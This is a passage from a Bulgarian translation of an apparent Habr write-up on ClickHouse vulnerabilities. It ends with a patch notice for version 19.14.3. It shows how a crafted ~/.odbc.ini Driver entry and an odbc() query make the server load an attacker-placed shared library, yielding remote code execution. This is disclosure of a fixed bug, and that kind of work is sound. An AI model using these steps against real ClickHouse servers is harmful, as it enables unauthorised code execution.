Π½ΠΈΠ·Π° Π·Π° Π²Ρ€ΡŠΠ·ΠΊΠ° към odbc-bridge, Ρ‚Π°ΠΊΠ° Ρ‡Π΅ Π²Π΅Ρ‡Π΅ Π½Π΅ Π΅ възмоТно Π΄Π° сС посочи ΠΏΡŠΡ‚Ρ Π½Π° Π΄Ρ€Π°ΠΉΠ²Π΅Ρ€Π° ΠΎΡ‚ заявката. Но ΠΌΠΎΠΆΠ΅ Π»ΠΈ Π½Π°ΠΏΠ°Π΄Π°Ρ‚Π΅Π» Π΄Π° пишС Π² Π½Π°Ρ‡Π°Π»Π½Π°Ρ‚Π° дирСктория, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΉΠΊΠΈ описаната ΠΏΠΎ-Π³ΠΎΡ€Π΅ уязвимост?

НСка създадСм Ρ„Π°ΠΉΠ» ~/.odbc.ini със ΡΡŠΠ΄ΡŠΡ€ΠΆΠ°Π½ΠΈΠ΅ ΠΊΠ°Ρ‚ΠΎ Ρ‚ΠΎΠ²Π°:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

слСд Ρ‚ΠΎΠ²Π° ΠΏΡ€ΠΈ стартиранС SELECT * FROM odbc('DSN=lalala', 'test', 'test'); Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°Ρ‚Π° Ρ‰Π΅ бъдС Π·Π°Ρ€Π΅Π΄Π΅Π½Π° test.so ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈ RCE (благодаря buglloc Π·Π° Π²ΡŠΡ€Ρ…Π°).

Π’Π΅Π·ΠΈ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈ уязвимости са ΠΊΠΎΡ€ΠΈΠ³ΠΈΡ€Π°Π½ΠΈ във вСрсия 19.14.3 Π½Π° ClickHouse. ΠŸΠΎΠ³Ρ€ΠΈΠΆΠ΅Ρ‚Π΅ сС Π·Π° Π²Π°ΡˆΠΈΡ‚Π΅ ClickHouse ΠΈ ZooKeepers!

Π˜Π·Ρ‚ΠΎΡ‡Π½ΠΈΠΊ: www.habr.com

ДобавянС Π½Π° Π½ΠΎΠ² ΠΊΠΎΠΌΠ΅Π½Ρ‚Π°Ρ€